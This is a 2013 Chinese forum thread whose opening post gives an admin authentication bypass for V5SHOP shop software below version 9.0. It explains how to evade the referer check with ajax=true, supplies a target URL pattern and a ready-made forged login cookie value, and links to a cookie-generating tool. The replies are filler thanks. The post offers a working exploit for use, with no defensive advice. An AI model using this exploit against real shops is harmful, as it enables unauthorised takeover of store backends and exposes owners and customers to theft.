V5SHOP网店系统< 9.0后台认证绕过

admin · 发表于 2013-10-21 11:19:09

程序后台的访问控制：

1 获取cookie，使用秘钥解密。确定是否登录

2 监控referer，不过请求中带ajax=true，即可绕过限制

所以我们可以伪造一份加密的cooke，并携带ajax=true去直接访问后台

访问URL：

www.xxxx.com/weblogin/index.aspx?ajax=true

伪造cookie：

V5ShopLoginID=Z1zZmWmBQL7kg6bn1sIVSbI1tdLbyYJnhapJnu3MQKs=

加密cookie生成工具：

http://files.cnblogs.com/zpino/v5shop.rar
http://wydrops-wordpress.stor.sinaapp.com/uploads/2013/09/v5shop.rar

显示全部楼层 · 发表于 2013-10-21 11:26:02

我是来刷分的，嘿嘿

显示全部楼层 · 发表于 2013-10-21 11:39:11

有道理。。。

显示全部楼层 · 发表于 2013-10-24 14:28:35

潜水是一种美德，回帖是一种责任！见贴就回，捞金币就闪。专业水金币。-----雷

显示全部楼层 · 发表于 2013-10-24 15:02:21

学习了，谢谢分享、、、

V5SHOP网店系统< 9.0后台认证绕过

本帖子中包含更多资源